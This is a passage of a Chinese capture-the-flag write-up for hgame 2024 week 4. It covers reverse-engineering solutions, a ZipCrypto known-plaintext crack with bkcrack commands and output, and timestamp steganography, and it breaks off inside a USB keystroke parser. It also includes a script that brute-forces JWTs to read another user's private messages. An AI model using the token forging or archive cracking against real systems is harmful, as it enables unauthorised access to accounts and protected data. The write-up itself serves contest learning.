eprintln!("JWT key: {}", &key);
for i in 0..3000 {
let t = jwt.sign(UserJwtClaim {
id: i,
username: "Liki4".to_string(),
exp: get_current_timestamp() + 36000,
})
.map_err(|_| {
eprintln!("JWT sign failed");
Error::new("Auth", 500, "JWT sign failed")
})?;
eprintln!("{}: {}", i, t);
}
...
}
将结果保存至文件,使用 burp 对文件中的 token 逐一尝试。
能够看到除了原始请求之外,还有一个请求返回值为 200,此即为正确的 ID-用户名组合生成的 JWT。使用该 JWT 访问 /message
即可访问到 Liki4
的非公开留言,即为 flag。
hgame{63c4d9fc4613c81bce3a2e05577e8fc024c93ed1}
Reverse
again!
为啥无法运行也无法反编译!
Misc-based reverse engineering,Python 字节码分析,TEA 类似算法分析。
PS D:\Workspace\rev\hgame_2024\week_4\again> D:\bdist\pyinstxtractor-ng.exe .\bin1.exe
[+] Processing .\bin1.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 1335325 bytes
[+] Found 10 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: bin1.pyc
[!] Unmarshalling FAILED. Cannot extract PYZ-00.pyz. Extracting remaining files.
[+] Successfully extracted pyinstaller archive: .\bin1.exe
You can now use a python decompiler on the pyc files within the extracted directory
PS D:\Workspace\rev\hgame_2024\week_4\again>
(pwnenv) PS D:\Workspace\rev\hgame_2024\week_4\again> pycdas .\bin1.exe_extracted\bin1.pyc
bin1.pyc (Python 3.11)
[Code]
File Name: bin1.py
Object Name: <module>
Qualified Name: <module>
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 10
Flags: 0x00000000
[Names]
...
[Locals+Names]
[Constants]
...
[Disassembly]
0 RESUME 0
2 LOAD_CONST 0: 0
4 LOAD_CONST 1: None
6 IMPORT_NAME 0: hashlib
8 STORE_NAME 0: hashlib
10 PUSH_NULL
12 LOAD_NAME 1: print
14 LOAD_CONST 2: 'you should use this execute file to decrypt "bin2"'
16 PRECALL 1
20 CALL 1
30 POP_TOP
32 PUSH_NULL
34 LOAD_NAME 1: print
36 LOAD_CONST 3: 'hint:md5'
38 PRECALL 1
42 CALL 1
52 POP_TOP
54 PUSH_NULL
56 LOAD_NAME 2: bytearray
58 PRECALL 0
62 CALL 0
72 STORE_NAME 3: s
74 PUSH_NULL
76 LOAD_NAME 2: bytearray
78 PUSH_NULL
80 LOAD_NAME 4: open
82 LOAD_CONST 4: 'bin1.pyc'
84 LOAD_CONST 5: 'rb'
86 PRECALL 2
90 CALL 2
100 LOAD_METHOD 5: read
122 PRECALL 0
126 CALL 0
136 PRECALL 1
140 CALL 1
150 STORE_NAME 6: f
152 LOAD_CONST 6: 'jkasnwojasd'
154 STORE_NAME 7: t
156 PUSH_NULL
158 LOAD_NAME 8: range
160 LOAD_CONST 0: 0
162 LOAD_CONST 7: 15
164 PRECALL 2
168 CALL 2
178 GET_ITER
180 FOR_ITER 106 (to 394)
182 STORE_NAME 9: i
184 LOAD_NAME 6: f
186 LOAD_NAME 9: i
188 BINARY_SUBSCR
198 LOAD_NAME 6: f
200 LOAD_NAME 9: i
202 LOAD_CONST 8: 6
204 BINARY_OP 6 (%)
208 BINARY_SUBSCR
218 BINARY_OP 0 (+)
222 PUSH_NULL
224 LOAD_NAME 10: ord
226 LOAD_NAME 7: t
228 LOAD_NAME 9: i
230 LOAD_CONST 8: 6
232 BINARY_OP 6 (%)
236 BINARY_SUBSCR
246 PRECALL 1
250 CALL 1
260 PUSH_NULL
262 LOAD_NAME 10: ord
264 LOAD_NAME 7: t
266 LOAD_NAME 9: i
268 PUSH_NULL
270 LOAD_NAME 11: len
272 LOAD_NAME 7: t
274 PRECALL 1
278 CALL 1
288 BINARY_OP 6 (%)
292 BINARY_SUBSCR
302 PRECALL 1
306 CALL 1
316 BINARY_OP 0 (+)
320 BINARY_OP 12 (^)
324 LOAD_CONST 9: 256
326 BINARY_OP 6 (%)
330 LOAD_NAME 6: f
332 LOAD_NAME 9: i
334 STORE_SUBSCR
338 LOAD_NAME 3: s
340 LOAD_METHOD 12: append
362 LOAD_NAME 6: f
364 LOAD_NAME 9: i
366 BINARY_SUBSCR
376 PRECALL 1
380 CALL 1
390 POP_TOP
392 JUMP_BACKWARD 107 (to 180)
394 PUSH_NULL
396 LOAD_NAME 1: print
398 LOAD_NAME 3: s
400 PRECALL 1
404 CALL 1
414 POP_TOP
416 PUSH_NULL
418 LOAD_NAME 0: hashlib
420 LOAD_ATTR 13: md5
430 PUSH_NULL
432 LOAD_NAME 14: bytes
434 LOAD_NAME 3: s
436 PRECALL 1
440 CALL 1
450 PRECALL 1
454 CALL 1
464 LOAD_METHOD 15: hexdigest
486 PRECALL 0
490 CALL 0
500 STORE_NAME 16: md5_hash
502 LOAD_CONST 1: None
504 RETURN_VALUE
(pwnenv) PS D:\Workspace\rev\hgame_2024\week_4\again>
手动重构出 python 源码。
import hashlib
print('you should use this execute file to decrypt "bin2"')
print("hint:md5")
s = bytearray()
f = bytearray(open("bin1.pyc", "rb").read())
t = "jkasnwojasd"
for i in range(0, 15):
f[i] = ((f[i] + f[i % 6]) ^ (ord(t[i % 6]) + ord(t[i % len(t)]))) % 256
s.append(f[i])
print(s)
md5_hash = hashlib.md5(bytes(s)).hexdigest()
“你需要使用这个文件解密 bin2。”猜测最后计算的 MD5 的十六进制字符串与 bin2 的加密有关。尝试后发现 bytes(md5_hash)
就是 bin2 异或加密的密钥。
使用 IDA 分析。
void __fastcall enc(__int64 a1, __int64 a2, int key[])
{
...
x_7 = str_input[7];
x_6 = str_input[6];
sum = 0;
x_5 = str_input[5];
x_4 = str_input[4];
x_3 = str_input[3];
x_2 = str_input[2];
x_1 = str_input[1];
x_0 = str_input[0];
x_7_ = str_input[7];
rounds = 12;
do
{
sum += 0x7937B99E;
v13 = key[(sum >> 2) & 3];
str_input[0] = x_0 + (((sum ^ x_1) + (x_7 ^ v13)) ^ (((16 * x_7) ^ (x_1 >> 3)) + ((x_7 >> 5) ^ (4 * x_1))));
x_1 += ((sum ^ x_2) + (str_input[0] ^ key[(sum >> 2) & 3 ^ 1i64])) ^ (((16 * str_input[0]) ^ (x_2 >> 3))
+ ((str_input[0] >> 5) ^ (4 * x_2)));
x_2 += ((sum ^ x_3) + (x_1 ^ key[(sum >> 2) & 3 ^ 2i64])) ^ (((16 * x_1) ^ (x_3 >> 3)) + ((x_1 >> 5) ^ (4 * x_3)));
x_3 += ((sum ^ x_4) + (x_2 ^ key[(sum >> 2) & 3 ^ 3i64])) ^ (((16 * x_2) ^ (x_4 >> 3)) + ((x_2 >> 5) ^ (4 * x_4)));
x_4 += ((sum ^ x_5) + (x_3 ^ v13)) ^ (((16 * x_3) ^ (x_5 >> 3)) + ((x_3 >> 5) ^ (4 * x_5)));
x_0 = str_input[0];
x_5 += ((sum ^ x_6) + (x_4 ^ key[(sum >> 2) & 3 ^ 1i64])) ^ (((16 * x_4) ^ (x_6 >> 3)) + ((x_4 >> 5) ^ (4 * x_6)));
x_6 += ((x_5 ^ key[(sum >> 2) & 3 ^ 2i64]) + (sum ^ x_7_)) ^ (((16 * x_5) ^ (x_7_ >> 3)) + ((x_5 >> 5) ^ (4 * x_7_)));
x_7 = x_7_
+ (((x_6 ^ key[(sum >> 2) & 3 ^ 3i64]) + (sum ^ str_input[0])) ^ (((16 * x_6) ^ (str_input[0] >> 3))
+ ((x_6 >> 5) ^ (4 * str_input[0]))));
finished = rounds-- == 1;
x_7_ = x_7;
}
while ( !finished );
str_input[7] = x_7;
str_input[1] = x_1;
str_input[2] = x_2;
str_input[3] = x_3;
str_input[4] = x_4;
str_input[5] = x_5;
str_input[6] = x_6;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
...
lib_printf("plz input your flag:");
lib_scanf("%32s", (const char *)str_input);
key[0] = 4660;
key[1] = 9025;
key[2] = 13330;
key[3] = 16675;
enc(v4, v3, key);
i_0 = 0i64;
while ( str_input[i_0] == arr_target[i_0] )
{
if ( ++i_0 >= 8 )
{
lib_printf("Congratulations!");
return 0;
}
}
lib_printf("Wrong!try again...");
return 0;
}
略微整理后可以观察到核心算法是某种块大小为 8 个 DWORD 的 TEA 算法变种:
sum = 0;
do {
sum += 0x7937B99E;
x[0] += ((sum ^ x[1]) + (x[7] ^ key[(sum >> 2) & 3])) ^ (((16 * x[7]) ^ (x[1] >> 3)) + ((x[7] >> 5) ^ (4 * x[1])));
x[1] += ((sum ^ x[2]) + (x[0] ^ key[(sum >> 2) & 3 ^ 1])) ^ (((16 * x[0]) ^ (x[2] >> 3)) + ((x[0] >> 5) ^ (4 * x[2])));
x[2] += ((sum ^ x[3]) + (x[1] ^ key[(sum >> 2) & 3 ^ 2])) ^ (((16 * x[1]) ^ (x[3] >> 3)) + ((x[1] >> 5) ^ (4 * x[3])));
x[3] += ((sum ^ x[4]) + (x[2] ^ key[(sum >> 2) & 3 ^ 3])) ^ (((16 * x[2]) ^ (x[4] >> 3)) + ((x[2] >> 5) ^ (4 * x[4])));
x[4] += ((sum ^ x[5]) + (x[3] ^ key[(sum >> 2) & 3])) ^ (((16 * x[3]) ^ (x[5] >> 3)) + ((x[3] >> 5) ^ (4 * x[5])));
x[5] += ((sum ^ x[6]) + (x[4] ^ key[(sum >> 2) & 3 ^ 1])) ^ (((16 * x[4]) ^ (x[6] >> 3)) + ((x[4] >> 5) ^ (4 * x[6])));
x[6] += ((sum ^ x[7]) + (x[5] ^ key[(sum >> 2) & 3 ^ 2])) ^ (((16 * x[5]) ^ (x[7] >> 3)) + ((x[5] >> 5) ^ (4 * x[7])));
x[7] += ((sum ^ x[0]) + (x[6] ^ key[(sum >> 2) & 3 ^ 3])) ^ (((16 * x[6]) ^ (x[0] >> 3)) + ((x[6] >> 5) ^ (4 * x[0])));
finished = rounds-- == 1;
} while ( !finished );
于是不难写出解密代码。
#define _CRT_SECURE_NO_WARNINGS
#include <assert.h>
#include <stdio.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <ctype.h>
#include <wchar.h>
#pragma warning(push)
#pragma warning(disable:6031)
static const uint32_t KEY[] = {4660, 9025, 13330, 16675};
static uint32_t cipher[] = {
0x506FB5C3, 0xB9358F45, 0xC91AE8C7, 0x3820E280, 0xD13ABA83, 0x975CF554, 0x4352036B, 0x1CD20447
};
static void decode(uint32_t x[], uint32_t rounds, const uint32_t key[4]) {
bool finished = false;
uint32_t sum = 0x7937B99E * rounds;
do {
x[7] -= ((sum ^ x[0]) + (x[6] ^ key[(sum >> 2) & 3 ^ 3])) ^ (((16 * x[6]) ^ (x[0] >> 3)) + ((x[6] >> 5) ^ (4 * x[0])));
x[6] -= ((sum ^ x[7]) + (x[5] ^ key[(sum >> 2) & 3 ^ 2])) ^ (((16 * x[5]) ^ (x[7] >> 3)) + ((x[5] >> 5) ^ (4 * x[7])));
x[5] -= ((sum ^ x[6]) + (x[4] ^ key[(sum >> 2) & 3 ^ 1])) ^ (((16 * x[4]) ^ (x[6] >> 3)) + ((x[4] >> 5) ^ (4 * x[6])));
x[4] -= ((sum ^ x[5]) + (x[3] ^ key[(sum >> 2) & 3])) ^ (((16 * x[3]) ^ (x[5] >> 3)) + ((x[3] >> 5) ^ (4 * x[5])));
x[3] -= ((sum ^ x[4]) + (x[2] ^ key[(sum >> 2) & 3 ^ 3])) ^ (((16 * x[2]) ^ (x[4] >> 3)) + ((x[2] >> 5) ^ (4 * x[4])));
x[2] -= ((sum ^ x[3]) + (x[1] ^ key[(sum >> 2) & 3 ^ 2])) ^ (((16 * x[1]) ^ (x[3] >> 3)) + ((x[1] >> 5) ^ (4 * x[3])));
x[1] -= ((sum ^ x[2]) + (x[0] ^ key[(sum >> 2) & 3 ^ 1])) ^ (((16 * x[0]) ^ (x[2] >> 3)) + ((x[0] >> 5) ^ (4 * x[2])));
x[0] -= ((sum ^ x[1]) + (x[7] ^ key[(sum >> 2) & 3])) ^ (((16 * x[7]) ^ (x[1] >> 3)) + ((x[7] >> 5) ^ (4 * x[1])));
sum -= 0x7937B99E;
finished = rounds-- == 1;
} while (!finished);
}
int main(void) {
decode(cipher, 12, KEY);
for (int i = 0; i < sizeof(cipher); i++) {
putchar(((uint8_t *)cipher)[i]);
}
putchar('\n');
return 0;
}
#pragma warning(pop)
hgame{btea_is_a_hard_encryption}
change
丑死了
一个简单的循环,加密操作由一个函数指针在两个函数之间切换。
__int64 __fastcall fun_xor(unsigned int a1, int a2)
{
return a2 ^ a1;
}
__int64 __fastcall fun_xor_add10(unsigned int a1, int a2)
{
return (a2 ^ a1) + 10;
}
void __fastcall sub_1400029A0(__int64 key, __int64 out, __int64 input)
{
char *c_2; // rax
char *c_1; // rax
int i; // [rsp+20h] [rbp-58h]
unsigned int k_2; // [rsp+28h] [rbp-50h]
char v7; // [rsp+2Ch] [rbp-4Ch]
unsigned int k_1; // [rsp+30h] [rbp-48h]
char v9; // [rsp+34h] [rbp-44h]
unsigned __int64 v10; // [rsp+48h] [rbp-30h]
unsigned __int64 v11; // [rsp+58h] [rbp-20h]
std::shared_ptr<__ExceptionPtr>::operator=(out, input);
for ( i = 0; i < (unsigned __int64)unknown_libname_20(out); ++i )
{
if ( i % 2 )
{
sub_140002D20((__int64)fun_xor);
v11 = unknown_libname_20(key);
k_1 = *(char *)sub_140002960(key, i % v11);
c_1 = (char *)sub_140002960(out, i);
v9 = beep(*c_1, k_1);
*(_BYTE *)sub_140002960(out, i) = v9;
}
else
{
sub_140002D20((__int64)fun_xor_add10);
v10 = unknown_libname_20(key);
k_2 = *(char *)sub_140002960(key, i % v10);
c_2 = (char *)sub_140002960(out, i);
v7 = beep(*c_2, k_2);
*(_BYTE *)sub_140002960(out, i) = v7;
}
}
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+20h] [rbp-B8h]
int v5; // [rsp+24h] [rbp-B4h]
__int64 v6; // [rsp+38h] [rbp-A0h]
char v7[32]; // [rsp+40h] [rbp-98h] BYREF
__int64 out[4]; // [rsp+60h] [rbp-78h] BYREF
__int64 key[4]; // [rsp+80h] [rbp-58h] BYREF
char v10[32]; // [rsp+A0h] [rbp-38h] BYREF
sub_1400021E0((__int64)v10, (__int64)"am2qasl");
v6 = std::shared_ptr<__ExceptionPtr>::operator=(v7, v10);
sub_140002280((__int64)key, v6);
sub_140001410(std::cout, "plz input your flag:");
sub_1400010F0(std::cin, &str_input);
fun_encrypt((__int64)key, (__int64)out, (__int64)&str_input);
for ( i = 0; i < 24; ++i )
{
v5 = arr_target[i];
if ( v5 != *(char *)sub_140002960((__int64)out, i) )
{
sub_140001410(std::cout, "sry,try again...");
std::string::~string(out);
sub_140002780((__int64)key);
std::string::~string(v10);
return 0;
}
}
sub_140001410(std::cout, "Congratulations!");
std::string::~string(out);
sub_140002780((__int64)key);
std::string::~string(v10);
return 0;
}
那么可以写出解密脚本。
from pwn import *
ARR_TARGET = [0x13, 0x0A, 0x5D, 0x1C, 0x0E, 0x08, 0x23, 0x06, 0x0B, 0x4B, 0x38, 0x22, 0x0D, 0x1C, 0x48, 0x0C, 0x66, 0x15, 0x48, 0x1B, 0x0D, 0x0E, 0x10, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00]
ARR_KEY = b"am2qasl"
out: list[int] = []
for i in range(0, len(ARR_TARGET)):
if i % 2 != 0:
out.append(ARR_TARGET[i] ^ ARR_KEY[i % len(ARR_KEY)])
else:
out.append(((ARR_TARGET[i] - 10) & 0xFF) ^ ARR_KEY[i % len(ARR_KEY)])
success(bytes(out).decode("ascii", errors="ignore"))
PS D:\Workspace\rev\hgame_2024\week_4> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_4/change/sol.py
[+] hgame{ugly_Cpp_and_hook}mq
PS D:\Workspace\rev\hgame_2024\week_4>
hgame{ugly_Cpp_and_hook}
crackme2
新一代 flag checker
运行时解密 + 约束求解。
看到一个通过抛访问异常修改控制流的指令。
.text:00000001400034DE loc_1400034DE: ; DATA XREF: .rdata:0000000140005834↓o
.text:00000001400034DE ; __try { // __except at loc_1400034EB
.text:00000001400034DE mov byte ptr ds:0, 1
.text:00000001400034E6 jmp loc_14000359B
.text:00000001400034E6 ; } // starts at 1400034DE
.text:00000001400034EB ; ---------------------------------------------------------------------------
.text:00000001400034EB
.text:00000001400034EB loc_1400034EB: ; DATA XREF: .rdata:0000000140005834↓o
.text:00000001400034EB ; __except(1) // owned by 1400034DE
NOP 掉方便反编译。
int __fastcall main(int argc, const char **argv, const char **envp)
{
HANDLE CurrentProcess; // rax
int v4; // r8d
__int64 v5; // rdx
int v6; // eax
const char *v7; // rcx
char v9[72]; // [rsp+30h] [rbp-48h] BYREF
DWORD flOldProtect; // [rsp+80h] [rbp+8h] BYREF
__int64 ProcessInformation; // [rsp+88h] [rbp+10h] BYREF
ULONG ReturnLength; // [rsp+90h] [rbp+18h] BYREF
sub_1400035C4("%50s", v9);
CurrentProcess = GetCurrentProcess();
NtQueryInformationProcess(CurrentProcess, ProcessDebugPort, &ProcessInformation, 8u, &ReturnLength);
if ( ProcessInformation != -1 )
{
VirtualProtect(sub_14000105C, 0x6000ui64, 0x40u, &flOldProtect);
v4 = 0;
v5 = 0i64;
do
{
*((_BYTE *)sub_14000105C + v5) ^= byte_140006000[v5];
++v4;
++v5;
}
while ( (unsigned __int64)v4 < 0x246A );
VirtualProtect(sub_14000105C, 0x6000ui64, flOldProtect, &flOldProtect);
}
v6 = sub_14000105C(v9);
v7 = "right flag!";
if ( !v6 )
v7 = "wrong flag!";
puts(v7);
return 0;
}
发现程序在运行时对 sub_14000105C 进行了异或解密。写出 patch 的 IDAPython 脚本:
import ida_bytes
ADDR_START = 0x14000105C
ADDR_KEY = 0x140006000
LEN = 0x246A
for i in range(LEN):
b = ida_bytes.get_byte(ADDR_START + i)
b ^= ida_bytes.get_byte(ADDR_KEY + i)
ida_bytes.patch_byte(ADDR_START + i, b)
执行后反编译发现大量布尔约束条件。
_BOOL8 __fastcall sub_14000105C(unsigned __int8 *a1)
{
...
v1 = a1[25];
...
v18 = a1[9];
if ( v18
+ 201 * v24
+ 194 * v10
+ 142 * v20
+ 114 * v39
+ 103 * v11
+ 52 * (v17 + v31)
+ ((v9 + v23) << 6)
+ 14 * (v21 + 4 * v25 + v25)
+ 9 * (v40 + 23 * v27 + v2 + 3 * v1 + 4 * v2 + 4 * v6)
+ 5 * (v16 + 23 * v30 + 2 * (v3 + 2 * v19) + 5 * v5 + 39 * v15 + 51 * v4)
+ 24 * (v8 + 10 * v28 + 4 * (v42 + v7 + 2 * v26))
+ 62 * v22
+ 211 * v41
+ 212 * v29 != 296473 )
return 0i64;
v38 = 2 * v16;
if ( 207 * v41
+ 195 * v22
+ 151 * v40
+ 57 * v5
+ 118 * v6
+ 222 * v42
+ 103 * v7
+ 181 * v8
+ 229 * v9
+ 142 * v31
+ 51 * v29
+ 122 * (v26 + v20)
+ 91 * (v2 + 2 * v16)
+ 107 * (v27 + v25)
+ 81 * (v17 + 2 * v18 + v18)
+ 45 * (v19 + 2 * (v11 + v24) + v11 + v24)
+ 4 * (3 * (v23 + a1[19] + 2 * v23 + 5 * v4) + v39 + 29 * (v10 + v1) + 25 * v15)
+ 26 * v28
+ 101 * v30
+ 154 * v3 != 354358 )
return 0i64;
if ( 177 * v40
+ 129 * v26
+ 117 * v42
+ 143 * v28
+ 65 * v8
+ 137 * v25
+ 215 * v21
+ 93 * v31
+ 235 * v39
+ 203 * v11
+ 15 * (v7 + 17 * v30)
+ 2
* (v24
+ 91 * v9
+ 95 * v29
+ 51 * v41
+ 81 * v20
+ 92 * v18
+ 112 * (v10 + v6)
+ 32 * (v22 + 2 * (v1 + v23))
+ 6 * (v2 + 14 * v16 + 19 * v15)
+ 83 * v5
+ 53 * v4
+ 123 * v19)
+ v17
+ 175 * v27
+ 183 * v3 == 448573
&& ...
&& 127 * v4
+ 106 * v15
+ 182 * v30
+ 142 * v5
+ 159 * v16
+ 17 * v1
+ 211 * v6
+ 134 * v2
+ 199 * v7
+ 103 * v28
+ 247 * v23
+ 122 * v9
+ 95 * v41
+ 62 * v10
+ 203 * v39
+ 16 * v11
+ 41 * (6 * v42 + v25)
+ 9 * (22 * v24 + v20 + 27 * v31 + 28 * v40)
+ 10 * (v8 + v22 + v36 + 8 * v17 + 2 * (v22 + v36 + 8 * v17) + 13 * v29)
+ 6 * (23 * v27 + v26)
+ 213 * v18
+ 179 * v3
+ 43 * v19 == 418596 )
{
return 149 * v19
+ v1
+ 133 * v22
+ 207 * v41
+ 182 * v26
+ 234 * v7
+ 199 * v8
+ 168 * v21
+ 58 * v10
+ 108 * v20
+ 142 * v18
+ 156 * (v9 + v25)
+ 16 * (v29 + 6 * v31)
+ 126 * (v17 + 2 * v39)
+ 127 * (v4 + 2 * v27 + v40)
+ 49 * (v30 + 4 * v16)
+ 11 * (v5 + 22 * v11)
+ 5 * (v15 + v42 + 45 * v24 + 50 * v28)
+ 109 * v2
+ 124 * v6
+ 123 * v3 == 418697;
}
else
{
return 0i64;
}
}
构造线性方程组求解。
#!/usr/bin/env python3
# gen_A.py
import re
import z3
RE_TERM = re.compile(r"([0-9]+)?**\***?x**\(**([0-9]+)**\)**")
N_UNKNOWNS = 32
UNK_WIDTH = 8
x = [z3.BitVec(f"x({i + 1})", UNK_WIDTH) for i in range(N_UNKNOWNS)]
exprs: tuple[z3.BitVecRef]
with open("./exprs.py", "rt") as f:
exec(f.read())
A: list[list[int]] = []
for e in exprs:
row = [0] * N_UNKNOWNS
expr_str = str(z3.simplify(e))
for line in expr_str.split("\n"):
line = line.strip()
m = RE_TERM.match(line)
assert m is not None
k, i = m.groups()
k = 1 if k is None else int(k)
i = int(i)
row[i - 1] = k
A.append(row)
print("LIST_A=", A, sep="", end="")
#!/usr/bin/env python3
# gen_b.py
import re
RE_EQUAL = re.compile(r"== ([0-9]+)")
b: list[int] = []
with open("./constraints.txt", "rt") as f:
for line in f.readlines():
line = line.strip()
m = RE_EQUAL.match(line)
if m:
b.append(int(m.group(1)))
print("LIST_b=", b, sep="", end="")
#!/usr/bin/env sage
from sage.all import *
LIST_A: list[list[int]]
LIST_b: list[int]
with open("./LIST_A.py", "rt") as f:
exec(f.read())
with open("./LIST_b.py", "rt") as f:
exec(f.read())
R = Integers(2**8)
A = matrix(QQ, LIST_A)
b = vector(QQ, LIST_b)
x = A.solve_right(b)
x_R = [R(xi) for xi in x]
s = "".join(map(chr, x_R))
print(s)
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/crackme2$ python3 ./gen_A.py > LIST_A.py
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/crackme2$ python3 ./gen_b.py > LIST_b.py
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/crackme2$ sage ./sol.sage
hgame{SMC_4nd_s0lv1ng_equ4t1Ons}
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/crackme2$
hgame{SMC_4nd_s0lv1ng_equ4t1Ons}
Misc
maybezip
起手一个 XOR。
<https://cyberchef.org/#recipe=XOR(%7B’option’:’Hex’,’string’:’27’%7D,’Standard’,false)
有密码,考虑爆破。 考虑已知明文攻击。但是压缩方式是 deflate 而不是 store,而且没有提供相应的明文。
bkcrack 的 issue 中的一条回复提供了启发:
@kimci86: … I investigated a little more using infgen. I found the deflated data starts with a dynamic block (it can be difficult to guess the right parameters) but ends with a stored block (not compressed). …
也就是说,虽然我们无法得知 deflate 流第一个块的内容(Huffman tree 结构依赖于文件内容),但最后一个块有很大概率是 store 的。那么,由于 PNG 文件以 IEND
段结束,我们就有了一段明文 b"\x00\x00\x00\x00IEND\xae\x42\x60\x82"
,长度为 12 字节,恰好满足已知明文攻击的最低要求。我们可以通过手动创建一个可控的 zip 文件证实这个说法。
由于压缩包中有大量 PNG 文件,我们尝试对每一个文件 deflate 流的末尾进行已知明文攻击。注意这里的 offset 是 ciphertext.size() - ENCRYPTION_HEADER_SIZE - plaintext.size() == 83374 - 12 - 12
(https://github.com/kimci86/bkcrack/blob/0b5a89130346b15a1297c99e1ef98e56a35c4243/src/Data.cpp#L50)。
PS D:\bdist\bkcrack-1.6.1-win64> .\bkcrack.exe -L D:\Workspace\rev\hgame_2024\week_4\maybezip\download.zip
bkcrack 1.6.1 - 2024-01-22
Archive: D:\Workspace\rev\hgame_2024\week_4\maybezip\download.zip
Index Encryption Compression CRC32 Uncompressed Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
0 None Store 00000000 0 0 out/
1 ZipCrypto Deflate d785b4e3 83332 83374 out/001.png
2 ZipCrypto Deflate 387cc7c7 50665 50681 out/002.png
...
119 ZipCrypto Deflate 1685465f 449 240 out/my_secret.txt
PS D:\bdist\bkcrack-1.6.1-win64> .\bkcrack.exe -C D:\Workspace\rev\hgame_2024\week_4\maybezip\download.zip --cipher-index 1 -o 83350 --ignore-check-byte --plain-file D:\Workspace\rev\hgame_2024\week_4\maybezip\end.bin
bkcrack 1.6.1 - 2024-01-22
[16:00:45] Z reduction using 4 bytes of known plaintext
100.0 % (4 / 4)
[16:00:45] Attack on 1320538 Z values at index 83357
Keys: c0e1a64f 5109d867 43f9c6e6
23.0 % (303877 / 1320538)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 303877
[16:01:55] Keys
c0e1a64f 5109d867 43f9c6e6
PS D:\bdist\bkcrack-1.6.1-win64> .\bkcrack.exe -C D:\Workspace\rev\hgame_2024\week_4\maybezip\download.zip -k c0e1a64f 5109d867 43f9c6e6 -U D:\Workspace\rev\hgame_2024\week_4\maybezip\dec.zip simple
bkcrack 1.6.1 - 2024-01-22
[16:03:31] Writing unlocked archive D:\Workspace\rev\hgame_2024\week_4\maybezip\dec.zip with password "simple"
100.0 % (119 / 119)
Wrote unlocked archive.
PS D:\bdist\bkcrack-1.6.1-win64>
将 zip 的密码改为 "simple"
后解压。
my_secret 中有很多数字。观察压缩包中图片文件的修改日期,猜测可能存在隐写。
编写脚本解码。
import os
import re
from Crypto.Util.number import long_to_bytes
from pwn import *
RE_PNG_FILE = re.compile(r"^([0-9]{3})**\.**png$")
bits: dict[int, bool] = {}
for fname in os.listdir("maybezip/dec/out"):
m = RE_PNG_FILE.match(fname)
if m is None:
continue
file_id = int(m.group(1))
file_stat = os.stat(f"maybezip/dec/out/{fname}")
bits[file_id] = (file_stat.st_mtime_ns // 1000000000) % 2 != 0
bit_str = "".join(
map(lambda p: "1" if p[1] else "0", sorted(bits.items(), key=lambda p: p[0]))
)
bit_str = bit_str.ljust((len(bit_str) // 4 + 1) * 4, "0")
success(long_to_bytes(int(bit_str, base=2)).decode("ascii", errors="ignore"))
PS D:\Workspace\rev\hgame_2024\week_4> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_4/maybezip/decode.py
[+] what_is_tupper
PS D:\Workspace\rev\hgame_2024\week_4>
结果提示我们上述数字可能是 Tupper’s formula 的参数,可以查找工具解码。
是一个 Micro QR code(https://en.wikipedia.org/wiki/QR_code#Micro_QR_code),增强后使用扫描软件得到 flag。
hgame{Matryo5hk4_d01l}
PS: Matroyoshka doll 意为“俄罗斯套娃”。
ezKeyboard
本来是个签到题,但有时候往往事与愿违
- 流量不需要修复,出题人拿自己电脑现抓的一段流量,他本身就是这样的。
- 本题键盘流量的 HID Data 格式和常见的格式略有不同,但本质如一。
- 你需要辩证看待这些个脚本网络上的脚本。他们大多出自一家,没几十行的核心代码里,都毫不例外地保留了数个编程初学者常犯的致命失误。
- 相信自己的水平,从头写一个脚本往往比找别人的错误容易。
USB HID 流量分析。
发现多个设备。
使用 tshark 进行包筛选。
usb.src == "1.2.3" && usbhid.data
导出后选择 hex 的 HID data 进一步分析。
tshark.exe -r .\hgame_1.2.3.pcap -T fields -e usbhid.data -e usb.capdata > hid_int_in_1.2.3.txt
编写脚本解析各个字段即可。需要注意 Caps Lock 作为一个 non-locking key 具有隐含 1 位状态,上升沿触发翻转。同时每个包头部有一个不知道哪里来的 0x01,需要去掉。这么做的理由是第 1 个字节始终为 0x01,第 3 个字节始终为 0x00 (正常 HID 报告的 padding 字节,在第二个位置)。
import struct
import typing as ty
from pwn import *
FILENAME = "hid_int_in_1.2.3.txt"
BOOT_KEYBOARD_MAP: dict[int, tuple[str, str]] = {
# 0x00: (None, None), # Reserved (no event indicated)
0x01: ("", ""), # ErrorRollOver
0x02: ("", ""), # POSTFail
0x03: ("", ""), # ErrorUndefined
0x04: ("a", "A"), # a
0x05: ("b", "B"), # b
0x06: ("c", "C"), # c
0x07: ("d", "D"), # d
0x08: ("e", "E"), # e
0x09: ("f", "F"), # f
0x0A: ("g", "G"), # g
0x0B: ("h", "H"), # h
0x0C: ("i", "I"), # i
0x0D: ("j", "J"), # j
0x0E: ("k", "K"), # k
0x0F: ("l", "L"), # l
0x10: ("m", "M"), # m
0x11: ("n", "N"), # n
0x12: ("o", "O"), # o
0x13: ("p", "P"), # p
0x14: ("q", "Q"), # q
0x15: ("r", "R"), # r
0x16: ("s", "S"), # s
0x17: ("t", "T"), # t
0x18: ("u", "U"), # u
0x19: ("v", "V"), # v
0x1A: ("w", "W"), # w
0x1B: ("x", "X"), # x
0x1C: ("y", "Y"), # y
0x1D: ("z", "Z"), # z
0x1E: ("1", "!"), # 1
0x1F: ("2", "@"), # 2
0x20: ("3", "#"), # 3
0x21: ("4", "$"), # 4
0x22: ("5", "%"), # 5
0x23: ("6", "^"), # 6
